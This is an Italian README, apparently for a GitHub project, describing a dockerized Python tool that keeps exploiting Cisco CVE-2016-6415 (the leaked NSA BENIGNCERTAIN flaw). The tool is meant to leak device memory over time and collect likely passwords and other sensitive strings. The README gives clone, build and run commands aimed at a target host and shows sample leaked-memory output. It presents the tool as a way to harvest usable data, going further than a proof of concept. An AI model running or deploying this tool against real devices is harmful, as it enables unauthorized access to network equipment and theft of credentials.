
Reimplementazione del benigncertain-monitor di VirtueSecurity
Reimplementazione del benigncertain-monitor di VirtueSecurity. Non ha tutte le stesse opzioni di payload dell'originale, ma sostituisce il binario bc-id con una migliore prova di concetto di Ross Bradley che può essere ampliata se necessario.
$ git clone https://github.com/3ndG4me/CVE-2016-6415-BenignCertain-Monitor.git
$ cd CVE-2016-6415-BenignCertain-Monitor
$ sudo docker build . -t benign-monitor
$ sudo docker run -it benign-monitor <host>
Il servizio interroga continuamente il servizio vulnerabile, estrae stringhe ascii dalla memoria, le memorizza in un database sqlite locale e mostra le stringhe osservate più frequentemente:
Starting monitor against 10.0.6.1
string count
0 5$dx 3
1 0(0 3
2 $c{l 3
3 (0"t&j 3
4 R$dkd$hf7! 2
5 %d1N=8$i- 2
6 $c)P0 1
7 1NlD 1
8 1NlD' 1
9 $c)P(0 1
10 $c)P1@_ 1
Questo è uno script python dockerizzato che perde continuamente memoria di un target vulnerabile all'exploit NSA BENIGNCERTAIN Cisco CVE-2016-6415.
Lo script interroga il servizio vulnerabile nel tempo per identificare probabili password e altre informazioni potenzialmente sensibili. Questo può essere utilizzato per raccogliere dati utilizzabili in un periodo di tempo anziché solo un exploit di prova di concetto.